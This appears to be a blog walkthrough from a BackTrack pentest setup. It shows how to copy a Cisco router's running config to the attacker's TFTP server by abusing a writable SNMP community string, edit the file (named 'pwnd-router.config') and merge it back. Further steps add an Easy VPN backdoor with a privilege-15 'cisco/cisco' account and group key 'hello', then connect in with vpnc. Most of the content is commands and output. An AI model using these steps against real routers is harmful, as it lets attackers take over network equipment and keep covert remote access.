network – copy-router-config.pl / merge-router-config.pl

backtrack 4 r 1

menu / services / TFTPD / Start TFTPD

1. root@bt:~#start-tftpd

2. root@bt:~#cd pentest/cisco/copy-router-config

3. root@bt:/pentest/cisco/copy-router-config#./copy-router-config.pl (rhost-ip) (your-ip) (snmp string name)

i.e ./copy-router-config.pl 192.168.1.1 192.168.0.200 public

4. Go to /tmp and look for the file named pwnd-router.config – open and read.

5. Change the config as required then press save.

6. root@bt:/pentest/cisco/copy-router-config#./merge-router-config.pl (rhost-ip) (your-ip) (snmp string name)

7. the config changes will take affect.

####################################################

to add cisco easy vpn config to a router (ras vpn)

!
aaa new-model
!
username cisco privilege 15 password cisco
!
aaa authentication login VPN_rights1 local
aaa authorization network network_rights1 local
!
crypto ipsec transform-set easy_vpn_transform_set1 esp-3des esp-sha-hmac
!
crypto dynamic-map VPN_DYMAP 1
set transform-set easy_vpn_transform_set1
reverse-route remote-peer
!
crypto map easy_vpn_crypto_map1 65535 ipsec-isakmp dynamic VPN_DYMAP
!
interface fastEthernet 0/0
crypto map easy_vpn_crypto_map1
!
crypto map easy_vpn_crypto_map1 client authentication list VPN_rights1
crypto map easy_vpn_crypto_map1 isakmp authorization list network_rights1
crypto map easy_vpn_crypto_map1 client configuration address respond
!
crypto isakmp client configuration group cisco
key hello
pool VPN_DHCP_POOL_1
max-users 2
netmask 255.255.255.0
!
ip local pool VPN_DHCP_POOL_1 192.168.78.78 192.168.78.80
!
crypto isakmp policy 1
encr 3des
authentication pre-share
group 2
!
crypto isakmp xauth timeout 15
!

###########################################################

cisco vpn client for linux

backtrack 4 r1

root@bt:~# apt-get install vpnc

root@bt:~# vpnc
Enter IPSec gateway address: 192.168.1.1
Enter IPSec ID for 192.168.1.1: cisco
Enter IPSec secret for cisco@ 192.168.1.1: hello
Enter username for 192.168.1.1: cisco
Enter password for cisco@ 192.168.1.1: cisco

VPNC started in background (pid: 17111)…

note bellow now you can also see tun0 interface. This is your connection back to the router.

root@bt:~# ifconfig

tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:192.168.78.78  P-t-P:192.168.78.78  Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1412  Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

—————————————-

Tested with Backtrack 5R3 now working!!

Install atftpd
root@bt:~# apt-get install atftpd

Run atftpd
root@bt:~# atftpd –daemon –port 69 /tmp

To see if running
root@bt:~# netstat -anup | grep atftp

—————————————-

Cisco Router Config

interface FastEthernet0/0
ip address 192.168.1.20 255.255.255.0
no shutdown
duplex auto
speed auto
!
snmp-server community public RO
snmp-server community private RW

—————————————-

root@bt:/pentest/cisco/copy-router-config# perl copy-router-config.pl 192.168.1.20 192.168.1.200 private
192.168.1.200:pwnd-router.config -> 192.168.1.20:running-config… Received badValue(3) error-status at error-index 1 at copy-router-config.pl line 34.

root@bt:/pentest/cisco/copy-router-config# perl copy-router-config.pl 192.168.1.20 192.168.1.200 private
192.168.1.200:pwnd-router.config -> 192.168.1.20:running-config… OK

—————————————-

Config is saved to you can add changes to this config then pass back.

/tmp/pwnd-router.config

—————————————-

Pass the changed config in /tmp/pwnd-router.config back

root@bt:/pentest/cisco/copy-router-config# perl merge-router-config.pl 192.168.1.20 192.168.1.200 private
192.168.1.200:pwnd-router.config -> 192.168.1.20:running-config… OK

—————————————-

You can see on the router it took the hostname change from R1 – Test

R1#
*Mar 1 00:05:32.379: %SYS-5-CONFIG_I: Configured from tftp://192.168.1.200/pwnd-router.config by console
R1#
Test#

One thought on “network – copy-router-config.pl / merge-router-config.pl

Leave a comment